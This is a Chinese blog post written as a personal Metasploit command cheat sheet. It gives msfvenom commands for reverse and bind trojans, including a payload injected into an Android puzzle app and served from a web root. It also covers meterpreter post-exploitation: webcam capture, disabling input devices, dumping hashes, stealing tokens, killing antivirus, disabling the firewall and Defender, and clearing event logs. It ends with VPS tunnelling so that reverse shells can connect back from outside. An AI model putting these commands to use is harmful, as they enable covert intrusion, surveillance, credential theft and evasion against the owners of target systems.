Metasploit-framework 使用

最近在用 msf,整理了一些常用命令,便于用到是复制粘贴。 内容会随着遇到的东西补充。

启动 msf

开启 msf 前最好先打开 postgresql 数据库,否则会出现会话传递的问题

$ service postgresql start
$ service postgresql status 
$ sudo  msfdb init 

db_status 查看 postgresql 数据库连接状态

 msf > db_status 

msfvenom 生成木马

生成 Windows 木马

$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.244.130 lport=4444 -f exe >XX.exe

生成 php 反连木马 (木马功能性比较少)

msfvenom -p php/meterpreter/reverse_tcp LHOST=ip LPORT=8080 -f raw > shell.php

msf 监听模块

use exploit/multi/handler

防止 session 退出

# 可以在接收到 seesion 后继续监听端口,保持侦听。
set ExitOnSession false
# 默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
set SessionExpirationTimeout 0

接着需要设置 payload,常见 payload :

Windows 反连木马:

set payload windows/meterpreter/reverse_tcp

php 反连木马

set payload php/meterpreter/reverse_tcp

cobalt strike 传递 msf sessions payload

set payload windows/meterpreter/reverse_http

Windows 部分的正向连接

set payload windows/x64/meterpreter/bind_tcp 

可以接收 nc 等普通反弹 shell

search  shell_reverse_tcp 

msf 生成正向连接木马

msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe
或者
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe

在目标机器上面运行了这个木马以后,就会在目标机器的对应端口上开启监听,只会接收一次数据

回到本机 Kali 上 use multi/handler 监听的时候设置好对应的端口以及目标的 IP 地址,然后 run 一下就可以连上了

当然推荐使用生成 dll 的技术

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1337 -f dll >bind.dll

使用方法是:

rundll32.exe xxx.dll,Start

这样隐藏性会比较好

安卓包嵌入木马:

msfvenom -x puzzle.apk -p android/meterpreter/reverse_tcp LHOST=<OUR_PUBLIC_IP> LPORT=443 -o /var/www/html/puzzle.apk

msf 扫描模块

发现存活主机以及服务的相关模块

基于 arp
auxiliary/scanner/discovery/arp_sweep 

auxiliary/scanner/discovery/udp_sweep

基于 ftp
auxiliary/scanner/ftp/ftp_version 

基于 http
auxiliary/scanner/http/http_version

基于 Smb
auxiliary/scanner/smb/smb_version

发现 ssh 服务
auxiliary/scanner/ssh/ssh_version 

发现 telnet 服务
auxiliary/scanner/telnet/telnet_version

发现存活主机
auxiliary/scanner/discovery/udp_probe 

auxiliary/scanner/dns/dns_amp

发现 Mysql
auxiliary/scanner/mysql/mysql_version

在实战过程中,许多特殊环境下scanner,db_nmap不能快速符合实战渗透诉求,尤其在域中的主机存活发现,而post下的模块,弥补了该诉求,以便快速了解域中存活主机。

windows/gather/arp_scanner 
windows/gather/enum_ad_computers
windows/gather/enum_computers 
windows/gather/enum_domain
windows/gather/enum_domains 
windows/gather/enum_ad_user_comments

msf 攻击模块

攻击 Mysql

auxiliary/scanner/mysql/mysql_login
exploit/multi/mysql/mysql_udf_payload
exploit/windows/mysql/mysql_mof
exploit/windows/mysql/scrutinizer_upload_exec
auxiliary/scanner/mysql/mysql_hashdump 这个不经常用,可以直接 SELECT USER,host,password from mysql.user 代替
auxiliary/admin/mysql/mysql_sql
auxiliary/scanner/mysql/mysql_version

攻击 sql server

最常用模块之一,当没有激活xp_cmdshell,自动激活。并且调用执行cmd命令。权限继承 Sql server

auxiliary/admin/mssql/mssql_exec

非常好的模块之一,在实战中。针对不同时间版本的系统都有着自己独特的方式来上传payload。

exploit/windows/mssql/mssql_payload

基本操作

这里只记录一下自己不熟悉的

exploit 是用来执行漏洞攻击的指令。它需要指定要使用的漏洞攻击模块和目标系统的相关参数。

run 指令则用于运行其他类型的模块,如扫描器、木马检测器等。

exploit -j 以后台的方式运行

-z 参数用于在运行 exploit 或 run 指令时不交互,即不需要用户确认运行操作。

back:回到msfconsole根目录

进入 Shell 中出现中文乱码的话可输入 chcp 65001

Session 操作(meterpreter)

进入 shell

shell

保存此 session 返回 msf 终端

background

读取文件

cat

获取当前工作目录

getwd

上传文件命令

upload /tmp/tmp.txt C:\\Users\\UserName\\Desktop\\tmep\\tmp.txt

下载文件命令

download C:\\Users\\UserName\\Desktop\\tmep\\tmp.txt /tmp

编辑文件命令

edit C:\\Users\\UserName\\Desktop\\tmep\\tmp.txt

查找文件命令,具体使用看帮助

search -h

img

ps 命令,查看目标机器上面的进程

ps

进程注入/迁移

migrate PROCESS_ID

getpid,获取当前会话所在的进程 PID

sysinfo 获取机器的基础信息

getuid命令用于获得运行meterpreter会话的用户名,从而查看当前会话具有的权限

getsystem 尝试获取 system 权限

uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘
webcam_list         #查看摄像头
webcam_snap      #截屏
webcam_stream   #通过摄像头开启视频

清理 Windows 的日志

clearev

远程桌面管理

enumdesktops     #查看可用的桌面
getdesktop       #获取当前meterpreter 关联的桌面
set_desktop      #设置meterpreter关联的桌面  -h查看帮助
screenshot       #截屏
use espia        #或者使用espia模块截屏  然后输入screengrab
run vnc          #使用vnc远程桌面连接

提取密码

msv

portfwd 可以将目标 ip 的端口转发到本地

如虽然此 sessions 的 ip 只是 192.168.1.15 但是却可以这样

meterpreter > portfwd add -r 192.168.1.160 -p 7001 -l 7001

将 192.168.1.160 的 7001 端口转发到本地 7001

只输入 portfwd 可以显示转发的表

窃取凭证

meterpreter > steal_token 进程PID
meterpreter > rev2self // 恢复凭证

creds_all 也可以获取 Windows 所有密码

内网渗透中常用操作

cs 会话传递给 msf

use exploit/multi/handler
set payload windows/meterpreter/reverse_http

msf 传递会话给 cs 有时候还是有用的,因为 msf 提权本事很大,提权完后再把会话传给 Cs

use exploit/windows/local/payload_inject

设置 payload

set payload windows/meterpreter/reverse_https

设置 vps 的 ip 和端口

set lhost vps
set lport port

设置 DisablePayloadHandler 为 True,此选项会让 Metasploit Framework 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉 Metasploit Framework 说我们已经建立了监听器,不必再新建监听器了。

set DisablePayloadHandler True

然后 run 就可以了。但是需要注意的是该会话是借助 notepad.exe 进程存在的,如果关掉了记事本会话就会掉,建议 CS 上线后注入其他进程


提权模块检测

use multi/recon/local_exploit_suggester

抓取密码/哈希

meterpreter > post/windows/gather/smart_hashdump

添加路由,代理进内网

meterpreter > run post/multi/manage/autoroute 

查看路由

route print

扫描存活主机

use auxiliary/scanner/portscan/tcp
set ports 80,135-139,445,3306,3389
set rhosts 192.168.52.0-255
set threads 50

ms17 检测

use scanner/smb/smb_ms17_010

ms17 打不穿有可能是因为跳板机防火墙

msf6-> sessions -l #查看所有会话
msf6-> sessions 4  #进入会话4中
shell
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend #关闭Windows defender

开启远程登录

run post/windows/manage/enable_rdp

将一个普通 shell 转换为 metepreter shell 方法: Ctrl +z 将 shell 放到后台。然后

sessions -u sessionsID

命令关闭目标机的杀毒软件

run post/windows/manage/killav

进程注入

run post/windows/manage/migrate

清除事件日志

run event_manager -c

frp 实现虚拟机内的 msf 内网穿透

参考 https://www.freebuf.com/articles/web/270456.html

https://github.com/fatedier/frp/releases 下载好相关版本的

tar -zxvf xxxxxxx.tar.gz

VPS 上 frps.ini 的设置

[common]
bind_port = 7000
authentication_method = token
token = Your_password

Kali 上 frpc.ini 的设置

# frpc.ini
[common]
server_addr = VPS_IP
server_port = 7000
authentication_method = token
token = Your_password

[range:msf_reverse_shell]
type = tcp
local_ip = 127.0.0.1
local_port = 10000-11000
custom_domains = VPS_IP
remote_port = 20000-21000

VPS 上

./frps -c frps.ini 

Kali 上

./frpc -c frpc.ini 

MSF 通过反连木马监听上线

当使用监听的时候如:

use exploit/multi/handler

应当设置

set lhost 127.0.0.1
set port [10000-20000] # 这个是 Kali 上的端口号

但是生成的木马应该设置好 host 为 vps 的 ip port 为 vps 的 ip


MSF 通过 Exploit 模块上线新的 session

而当使用其他的 exploit 会生成新的 sessions 的时候应该按照如下操作,如果不这么做,极有可能会接收不到 sessions

msf6 exploit(xxxxxx) > handler -p windows/meterpreter/reverse_tcp -P 【这里写 Kali 的端口】 -H 127.0.0.1

输入 jobs 可以看到刚刚设置的后台监听

msf6 exploit(xxxxxx) > jobs

然后就是

set lhost vps_ip
set port vps 对应 kali的端口

最后就是再取消 handler (即listen),此时LHOST/LPORT只有一个作用,就是确定执行payload后的反连地址,运行后即可成功在 VPS 上监听。

set disablepayloadhandler true

run 以后可以对 jobs 对应的 ID kill 掉

kill <job_id>
版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇